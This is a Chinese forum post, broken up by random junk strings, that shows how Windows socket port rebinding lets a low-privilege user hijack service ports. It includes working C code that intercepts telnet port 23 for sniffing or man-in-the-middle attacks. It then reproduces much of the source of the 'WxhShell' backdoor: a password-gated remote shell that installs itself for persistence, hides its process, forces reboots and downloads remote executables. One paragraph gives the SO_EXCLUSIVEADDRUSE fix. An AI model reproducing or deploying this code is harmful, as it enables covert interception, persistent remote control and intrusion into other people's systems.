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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A<|9</9z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8gNTW7W/  
YT8q0BR]  
  saddr.sin_family = AF_INET; :N<Qk  
_fk}d[q0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gN<7(F  
]8%E'd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6V$ )ym*F  
UY9*)pEE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1,=:an  
)zO|m7  
  这意味着什么?意味着可以进行如下的攻击: 3?j: M]fR  
a%c <3'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^^}htg  
yn!;Z ._  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #+D][LH4  
M <JX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /#T{0GBXe  
^&&Wv'7XQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yFk|8d-|  
_k]R6V:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R5e[cC8o.  
<VD7(j]'^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C<teZz8/w  
fSd|6iFH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \h'7[vkr  
<b"^\]l  
  #include jo&j<3i  
  #include KgM|:'  
  #include .t[u_tBL  
  #include    T+T)~!{%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F1BvDplQ>G  
  int main() ]d(Z%  
  { Vq0X:<9  
  WORD wVersionRequested; F_:W u,dUZ  
  DWORD ret; N<SW $ o  
  WSADATA wsaData; =XQGg`8<LB  
  BOOL val; j_,/U^Ws|f  
  SOCKADDR_IN saddr; .X3n9]  
  SOCKADDR_IN scaddr; =_=%1rI~  
  int err; v\bWQs1  
  SOCKET s; axmq/8X  
  SOCKET sc; l4T[x|')M  
  int caddsize; 1v:Ql\^cT  
  HANDLE mt; 4I&(>9 @z<  
  DWORD tid;   6t7FklM%  
  wVersionRequested = MAKEWORD( 2, 2 ); j.6!T'$|  
  err = WSAStartup( wVersionRequested, &wsaData ); c[2ikI,n[  
  if ( err != 0 ) { mg:kVS  
  printf("error!WSAStartup failed!\n"); %?n=I n(F  
  return -1; #m{(aa9;  
  } C+t3a@&|  
  saddr.sin_family = AF_INET; K?,? .!ev  
   bK}ZR*)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5D<Zbn.>q  
LodP,\T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e%pohHI  
  saddr.sin_port = htons(23); HdlO Ga6C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =U~53Tg  
  { hwUb(pZ  
  printf("error!socket failed!\n"); ,k_ b-/  
  return -1; |in>`:qk  
  } e}5x6t  
  val = TRUE; wM[Z 0*K  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7R[7M%H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JtSwbdN  
  { = LIb0TZ2  
  printf("error!setsockopt failed!\n"); A?04,l]y  
  return -1; v(Kj6'  
  } - s'W^(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q'jGNWep  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eXsp0!v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~rI2 RJ  
*MfH\X379  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mEYfsO  
  { ?4wl  
  ret=GetLastError(); `0%;Gz%}  
  printf("error!bind failed!\n"); 4xT /8>v2|  
  return -1; XBX`L"0  
  } ?99r>01>  
  listen(s,2); Ie!">8."  
  while(1) }BW&1*M{  
  { Chl^LEN:  
  caddsize = sizeof(scaddr); dY. X/f  
  //接受连接请求 9ec?L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?A\+s,9  
  if(sc!=INVALID_SOCKET) %VB4/~ "  
  { Ys_L GfK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o1\N)%  
  if(mt==NULL) 4sSw7`  
  { _l] 0V g`  
  printf("Thread Creat Failed!\n"); ?/T=G k  
  break; a{e 2*V  
  } fz VN;h  
  } o3Yb2Nw  
  CloseHandle(mt); )%p46(]  
  } H(Wiy@cJn  
  closesocket(s); \s)$AF  
  WSACleanup(); X! 6dg.n5  
  return 0; j0oto6z~b  
  }   8 [,R4@  
  DWORD WINAPI ClientThread(LPVOID lpParam) vv)O+xt  
  { P//nYPyzg  
  SOCKET ss = (SOCKET)lpParam; ^PE|BCs  
  SOCKET sc; (bsywM  
  unsigned char buf[4096]; yz,_\{}  
  SOCKADDR_IN saddr; L;g2ZoqIr0  
  long num; ^-Arfm%dn  
  DWORD val; )(.g~Q:  
  DWORD ret; 8cvSA&l(D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0iC5,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @N[<<k7g  
  saddr.sin_family = AF_INET; P()n=&XO6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L$"x*2[A  
  saddr.sin_port = htons(23); :{S@KsPqE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BZTj>yd  
  { 7Q'u>o  
  printf("error!socket failed!\n"); p;7wH\c  
  return -1; %AqI'ObC  
  } . WJ  
  val = 100; Q~ Nq5[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +B8oW3v# )  
  { e\aW~zs 2  
  ret = GetLastError(); r9 1i :  
  return -1; D|$0~1y  
  } [giw(4m#y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "WmsBdO  
  { oPBKPGD  
  ret = GetLastError(); =B+dhZ+#S$  
  return -1; t{s>B]i^_w  
  } ] !1HN3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OU/3U(%n]e  
  { -;8a* F  
  printf("error!socket connect failed!\n"); OhaoLmA}6  
  closesocket(sc); N&G(`]  
  closesocket(ss); wNl6a9#  
  return -1; *'-C/  
  } ;#Qv )kS*  
  while(1) v`'Iew }  
  { h(~of (  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4/\Ynb.L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @@R&OR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &\5bo=5V  
  num = recv(ss,buf,4096,0); zA|lbJz=GY  
  if(num>0) s)3CosU  
  send(sc,buf,num,0); o ,_F;ZhE  
  else if(num==0) WFFd3TN%<  
  break; pcOKC0b.  
  num = recv(sc,buf,4096,0); pE+:tMH;  
  if(num>0) H,EZ% Gl  
  send(ss,buf,num,0); afaQb  
  else if(num==0) UWqX}T[^  
  break; zmuR n4Nv  
  } MYxuQ|w  
  closesocket(ss); XmVst*2=  
  closesocket(sc); `z/ p,. u  
  return 0 ; N5#j}tT  
  } ,G?Kb#  
P A*U\  
Q>\DM'{:4  
========================================================== FW3E UC)P  
Xfb-< Q0A  
下边附上一个代码,,WXhSHELL i 8cmT+}>  
'tQp&p j  
========================================================== e<A>??h^  
}43qpJe8U  
#include "stdafx.h" vz:VegS  
(VCJn<@@  
#include <stdio.h> GqP02P'2  
#include <string.h>  fOsvOC  
#include <windows.h> |,TBP@  
#include <winsock2.h> /-^{$$eu  
#include <winsvc.h> [z_z tK1  
#include <urlmon.h> xu]Kt+QnSk  
FL$S_JAw  
#pragma comment (lib, "Ws2_32.lib") 1B 0[dK2N  
#pragma comment (lib, "urlmon.lib") cuf]-C1_  
+uNMyVH  
#define MAX_USER   100 // 最大客户端连接数 p? VDBAx  
#define BUF_SOCK   200 // sock buffer w JgH15oB  
#define KEY_BUFF   255 // 输入 buffer SuV3$-);z  
x=\W TC  
#define REBOOT     0   // 重启 g38 MF  
#define SHUTDOWN   1   // 关机 7;6'=0(  
u,=?|M\  
#define DEF_PORT   5000 // 监听端口 hDoFF8)c  
gCL}Ba  
#define REG_LEN     16   // 注册表键长度 4`V&Yqwl  
#define SVC_LEN     80   // NT服务名长度 wYS r.T8Q  
BG 4TUt  
// 从dll定义API l\m7~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YiL^KK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L&|^y8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u Vv %k5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G_k_qP^:  
z -]ND  
// wxhshell配置信息 cs:?Wq ^  
struct WSCFG { I~ mu'T  
  int ws_port;         // 监听端口 nI73E  
  char ws_passstr[REG_LEN]; // 口令 d,'gh4C  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4] u\5K-  
  char ws_regname[REG_LEN]; // 注册表键名 jQfnc:'  
  char ws_svcname[REG_LEN]; // 服务名 NSzTl-eS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]R09-s 0$7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3:OqD~,zy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ka`}lR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p~(STHDe#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `oO*ORq&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (2 hI  
N /;Vg ^Wx  
}; ~xJr|_,gp  
c|iTRco  
// default Wxhshell configuration 11A$#\,  
struct WSCFG wscfg={DEF_PORT, Z% `$id  
    "xuhuanlingzhe", k cNPdc  
    1, 79jnYjk  
    "Wxhshell", ^`$-c9M?'  
    "Wxhshell", C(xsMO'k,,  
            "WxhShell Service", y<BG-  
    "Wrsky Windows CmdShell Service", Xoq -  
    "Please Input Your Password: ", ;<F^&/a|yQ  
  1, O2lM;="  
  "http://www.wrsky.com/wxhshell.exe", \4fuC6d2  
  "Wxhshell.exe" %_39Wa  
    }; ['6Sq@c)  
NUuIhB+  
// 消息定义模块 M,r8 No  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u@Z6)r'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G]Im.x3O-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vZqW,GDfXo  
char *msg_ws_ext="\n\rExit."; cwHbm%  
char *msg_ws_end="\n\rQuit."; l['ER$(7  
char *msg_ws_boot="\n\rReboot..."; OSh'b$Z  
char *msg_ws_poff="\n\rShutdown..."; v>j<ky   
char *msg_ws_down="\n\rSave to "; Io /;+R .  
q03nu3uDI  
char *msg_ws_err="\n\rErr!"; @c>MROlrlF  
char *msg_ws_ok="\n\rOK!"; .\ vrBf  
K'K/}q<  
char ExeFile[MAX_PATH]; LF:~& m  
int nUser = 0; XHJ/211  
HANDLE handles[MAX_USER]; 6jov8GIAt  
int OsIsNt; J0t_wM Ja  
*~UK5Brf1  
SERVICE_STATUS       serviceStatus; z4]z3U<}3]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AZ\f6r{  
`0 W+(9}  
// 函数声明 {X nBj}C  
int Install(void); <#./q LSR  
int Uninstall(void); 3CSwcD  
int DownloadFile(char *sURL, SOCKET wsh); A(+V{1 L'  
int Boot(int flag); Hm~.u.)\.  
void HideProc(void); iQiXwEAi[  
int GetOsVer(void); ;hd%w mE  
int Wxhshell(SOCKET wsl); +.u HY`A  
void TalkWithClient(void *cs);  \5HVX/  
int CmdShell(SOCKET sock); (;N#Gqb6l  
int StartFromService(void); =ATQ2\T$m  
int StartWxhshell(LPSTR lpCmdLine); =6qSo @  
K@"B^f0mU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t<^7s9r;I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3)(uC+?[  
7G Jhc  
// 数据结构和表定义 ?uF3Q)rCk  
SERVICE_TABLE_ENTRY DispatchTable[] =  ftV~!r  
{ @,]$FBT"5  
{wscfg.ws_svcname, NTServiceMain}, D3+<16[,  
{NULL, NULL} +}f}!h;  
}; h;OHpvk  
T!1XL7  
// 自我安装 1CUI6@Cz)  
int Install(void) @G|z _  
{ 8K\S]SZ  
  char svExeFile[MAX_PATH]; ogdgLTi  
  HKEY key; - C8VDjf9  
  strcpy(svExeFile,ExeFile); }C JK9*Z  
"2"2qZ*h}  
// 如果是win9x系统,修改注册表设为自启动 8&7zV:=  
if(!OsIsNt) { AbX#wpp!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  "'Q~&B;@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +4[Je$qYa  
  RegCloseKey(key); 0.U- tg0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (J j'kW6G6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qM d4awB R  
  RegCloseKey(key); @A-E  
  return 0; z;&J9r $`  
    } b>& 3 XDz  
  } /~/nhKm  
} 6""i<oR  
else { 1[e%E#h  
}e>OmfxDBt  
// 如果是NT以上系统,安装为系统服务 uJ3*AO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %)o;2&aD  
if (schSCManager!=0) LP?*RrM  
{ Ed#Hilk'  
  SC_HANDLE schService = CreateService VF~kjH2>  
  ( N1l^%Yf J  
  schSCManager, }~v0o# I  
  wscfg.ws_svcname, NU 3s^ 8\(  
  wscfg.ws_svcdisp, f!B\X*|  
  SERVICE_ALL_ACCESS, [QwqP=-6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V$ " ]f6  
  SERVICE_AUTO_START, UrdSo"%  
  SERVICE_ERROR_NORMAL, ERfSJ  
  svExeFile, -Y>QKS  
  NULL, 'lgS;ItpKu  
  NULL, VH~ZDZ1P  
  NULL, 8HWEObRY  
  NULL, K/!>[d  
  NULL 2:1 kSR^Ky  
  ); A-u}&}l<  
  if (schService!=0) 8?hj}}H  
  { YG#{/;^nm)  
  CloseServiceHandle(schService); Mw6 Mt  
  CloseServiceHandle(schSCManager); af=lzKt*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |u[@g`Z  
  strcat(svExeFile,wscfg.ws_svcname); "l(<<Ha/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LiJ./  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *nHkK!d<N  
  RegCloseKey(key); ~[0^{$rrWs  
  return 0; f3mQd}<L  
    } 8~iggwZ~h"  
  } PWS5s^WM  
  CloseServiceHandle(schSCManager); Aj"fkY|Q  
} D\z`+TyJ  
} p<Vj<6.=?  
y6>fK@K~  
return 1; ~@D{&7@  
} iMF-TR  
w#>CYP`0k6  
// 自我卸载 OB+QVYk"  
int Uninstall(void) J/c5)IB|  
{ 8 HD I]  
  HKEY key; ^B(:Hv}G(:  
Z07SK ' U  
if(!OsIsNt) { cXt]55"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TcH7!fUj  
  RegDeleteValue(key,wscfg.ws_regname); YS>VQl  
  RegCloseKey(key); &[[Hfs2:-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r@G34Q C+  
  RegDeleteValue(key,wscfg.ws_regname); 4z^VwKH\j  
  RegCloseKey(key); &C6*"JZ4  
  return 0; S|_"~Nd=  
  } c,5yH  
} L ?S#3@Pa  
} Ots]y  
else { S\6.vw!'  
8q|T`ac+N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s 5F?m  
if (schSCManager!=0) ^7Z.~A y  
{ Y-]Ne"+vf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vgKdhN2kI  
  if (schService!=0) >2#F5c67  
  { +QEiY~i  
  if(DeleteService(schService)!=0) { YvFt*t  
  CloseServiceHandle(schService); 69zMWuY  
  CloseServiceHandle(schSCManager); w[/m:R?eX  
  return 0; Ym9~/'%]  
  }  9 -Xr  
  CloseServiceHandle(schService); {s?x NU  
  } d-B,)$zE  
  CloseServiceHandle(schSCManager); Z:>ek>Op  
} j$r2=~1  
} 8/W2;>?wKc  
!InC8+be  
return 1; 77%I%<#  
} %"AB\lL.  
:Gf  
// 从指定url下载文件 KOhIk*AC '  
int DownloadFile(char *sURL, SOCKET wsh) ?rQIUP{D7  
{ 32K  
  HRESULT hr; 9@ :QBe3]  
char seps[]= "/"; F7JF1HfCP  
char *token; p u[S  
char *file; ZY8:7Q@P>  
char myURL[MAX_PATH]; o=C'u  
char myFILE[MAX_PATH]; 4u7^v1/  
h:<?)g~U  
strcpy(myURL,sURL); --F6n/>  
  token=strtok(myURL,seps); {A{sRT=%  
  while(token!=NULL) N"zm  
  { e0`5PVJ  
    file=token; Vv*](iM  
  token=strtok(NULL,seps); Gg5+Ap D  
  } > |(L3UA9  
'E4}++\  
GetCurrentDirectory(MAX_PATH,myFILE); X 3(*bj>P  
strcat(myFILE, "\\"); N$P\$  
strcat(myFILE, file); otdm r w|  
  send(wsh,myFILE,strlen(myFILE),0); />V& OX `  
send(wsh,"...",3,0); |) CfO4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A0H6}53, $  
  if(hr==S_OK) M)sAMfuUw  
return 0; r!/<%\S  
else "_n})s f  
return 1; <!derr-K  
I$oqFF|D  
} \W"p<oo|H  
noO#o+ Jg#  
// 系统电源模块 )^j62uv  
int Boot(int flag) >ui;B$=  
{ 4ms"mIt  
  HANDLE hToken; o}y(T07n  
  TOKEN_PRIVILEGES tkp; {z |+ .D  
(E7C9U*  
  if(OsIsNt) { sQMfU{S /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S X[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r)[Xzn   
    tkp.PrivilegeCount = 1; Uh3N#O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6-f-/$B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RdLk85<n  
if(flag==REBOOT) { `':G92}#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  OF O,5  
  return 0; y`8jz,&.  
} c2fw;)j&X  
else { oe[f2?-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :O]US)VSj  
  return 0; QQ./!   
} F?b"Rv  
  } =s,}@iqNO4  
  else { ? w@)3Z=u  
if(flag==REBOOT) { 9~4@AGL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QNGp+xUHJ9  
  return 0; B9S@G{`  
} =&WH9IKz  
else { -b=A j8h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G@scz!Nt  
  return 0; FM<`\ d'  
} ?{wD%58^oG  
} ?vmoRX  
;e6- *  
return 1; '8;'V%[+  
} Pdk#"H-j  
k;jXVa  
// win9x进程隐藏模块 Qn)AS1pL+  
void HideProc(void) &A~hM[-  
{ hY|-l%2f  
05o<fa2HE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W;|%)D)y  
  if ( hKernel != NULL ) 'q1cc5(ueV  
  { \W 7pSV-U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t@q==VHF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DY1"t7 9E  
    FreeLibrary(hKernel); 06[HE7  
  } ^m-w@0^z  
'Ej+Jczzpp  
return; 3|bbJ6*.<  
} bRK\Tua 6  
S%jFH4#  
// 获取操作系统版本 qD,/Qu62  
int GetOsVer(void) 3(_:"?xA  
{ ,6SzW+L7  
  OSVERSIONINFO winfo; Ht|"91ZC5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :}-izd)/j  
  GetVersionEx(&winfo);  C~T*Wlk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ff 6x4t  
  return 1; 3)hQT-)  
  else 3 5/ s\  
  return 0; 4mnVXKt%.  
} nxe9^h7m  
9s?gI4XN  
// 客户端句柄模块 I?_WV_T&  
int Wxhshell(SOCKET wsl) x;A.Ll  
{ "%#CMCE|f  
  SOCKET wsh; 5E =!L g  
  struct sockaddr_in client; &.P G2f*  
  DWORD myID; P<=1O WC  
 vPAL,  
  while(nUser<MAX_USER) hP$5>G(3  
{ 5 hW#BB  
  int nSize=sizeof(client); jOm7:+H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /4KHf3Nr  
  if(wsh==INVALID_SOCKET) return 1; &FWz7O>1  
DC0O N`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?*'0;K13  
if(handles[nUser]==0) K?>sP%m)  
  closesocket(wsh); 9(lcQuE9  
else RV%)~S@!R  
  nUser++; sW76RKX8  
  } ? 0+N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); svtqX-Vj"  
ZtY?X- 4_  
  return 0; ~Gl5O`w(  
} FT!Xr  
:"cKxd  
// 关闭 socket S }qGf%  
void CloseIt(SOCKET wsh) rA}mp]  
{ _%(.OR  
closesocket(wsh); *0'< DnGW  
nUser--; 3 6t^iV*3  
ExitThread(0); BDLJDyf B  
} g!^mewtd  
_} K3}}  
// 客户端请求句柄 P3v4!tR  
void TalkWithClient(void *cs) PW\me7iCz  
{ ,s/laZ)V  
FcyF E~>2  
  SOCKET wsh=(SOCKET)cs; "^wIixOH5  
  char pwd[SVC_LEN]; ;7*T6~tv  
  char cmd[KEY_BUFF]; yw{r:fy  
char chr[1]; ~zVe?(W  
int i,j;  /#zs  
lv+: `   
  while (nUser < MAX_USER) { uZ'(fnZ$  
wQa,o l_p  
if(wscfg.ws_passstr) { 5..YC=_20  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %!8w)1U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i`=%X{9  
  //ZeroMemory(pwd,KEY_BUFF); 9+ |W;  
      i=0; I]BhkJ  
  while(i<SVC_LEN) { I= a?z<  
@mb'!r  
  // 设置超时 t*`Sme]"B  
  fd_set FdRead; @r(3   
  struct timeval TimeOut; w+a5/i@  
  FD_ZERO(&FdRead); z L9:e7o  
  FD_SET(wsh,&FdRead); PbFbi hg  
  TimeOut.tv_sec=8; Q 7\j:.  
  TimeOut.tv_usec=0; 0[ (kFe  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D[)_ f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N:~4>p44[  
'*^9'=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Y@q?ey[1  
  pwd=chr[0]; ).-#  
  if(chr[0]==0xd || chr[0]==0xa) { 1 hD(l6tG@  
  pwd=0; Ctx>#uN6  
  break; 8,(--A  
  } X"7x_ yOZ  
  i++; @!^Y_q  
    } $k`j";8uR  
5 ed|]LP  
  // 如果是非法用户,关闭 socket (LJ7xoJ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `ZT/lB`  
} JP^\   
*Ea)b -  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AQ,"):ofvT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }<&?t;  
Wevd6)\  
while(1) { BqUwvB4  
, K:d/  
  ZeroMemory(cmd,KEY_BUFF); tH#t8Tq5x  
HMDuP2Y  
      // 自动支持客户端 telnet标准   ^# 4e_&4  
  j=0; uc}F|O   
  while(j<KEY_BUFF) { \:+ NVIN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =woP~+  
  cmd[j]=chr[0]; "c.-`1,t  
  if(chr[0]==0xa || chr[0]==0xd) { |~&cTDd  
  cmd[j]=0; hBV m; `  
  break; pl$wy}W-  
  } f4&;l|R0a  
  j++; yYSoJqj Q  
    } 9e.$x%7j  
^%tn$4@@Z.  
  // 下载文件 %e)? Mem  
  if(strstr(cmd,"http://")) { h B_p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _>;{+XRX[  
  if(DownloadFile(cmd,wsh)) XVb9)a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L-9;"]d~|  
  else +ej5C:El_}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z ?F`)}  
  } ?@kz`BY  
  else { :))&"GY  
1Zi` \N4T  
    switch(cmd[0]) { Y0J:c?,  
  +SW|/oIU  
  // 帮助 MWK)Bn  
  case '?': { l/"!}wF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &N]e pV>  
    break; @Ae&1O;Zh  
  } _!Pi+l4p/}  
  // 安装 D7m uf  
  case 'i': { H328I}7  
    if(Install()) lCBH3-0^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *{5/" H5  
    else ;=k{[g 'gv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -yb7s2o  
    break; kD7'BP/#  
    } _18Z]XtX  
  // 卸载 5NhAb$q2Y  
  case 'r': { qq3/K9 #y  
    if(Uninstall()) ?%#no{9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]&9=f#k%  
    else R%q:].  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); salDGsW^  
    break; jbUg?4k!  
    } LC$M_Cpw  
  // 显示 wxhshell 所在路径 hpYv*WH:  
  case 'p': { m)?0;9bt  
    char svExeFile[MAX_PATH]; X*w;6 V  
    strcpy(svExeFile,"\n\r"); ` N R,8F  
      strcat(svExeFile,ExeFile); OW@"j;6 3`  
        send(wsh,svExeFile,strlen(svExeFile),0); :$gs7<z{rm  
    break; atw*t1)g  
    } jeJspch+#  
  // 重启 qk>SM| {  
  case 'b': { yeBfzKI{b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XsDZ<j%x89  
    if(Boot(REBOOT)) Ts3!mjn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7oc Ng  
    else { "] Uj _d  
    closesocket(wsh); Bjj =UtI  
    ExitThread(0); ~)[ pL(4  
    } 2oOos%0  
    break; G)c+GoK  
    } <a&xhG}  
  // 关机 aQf2}kD  
  case 'd': { lQ4^I^?m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _MuzD&^qE  
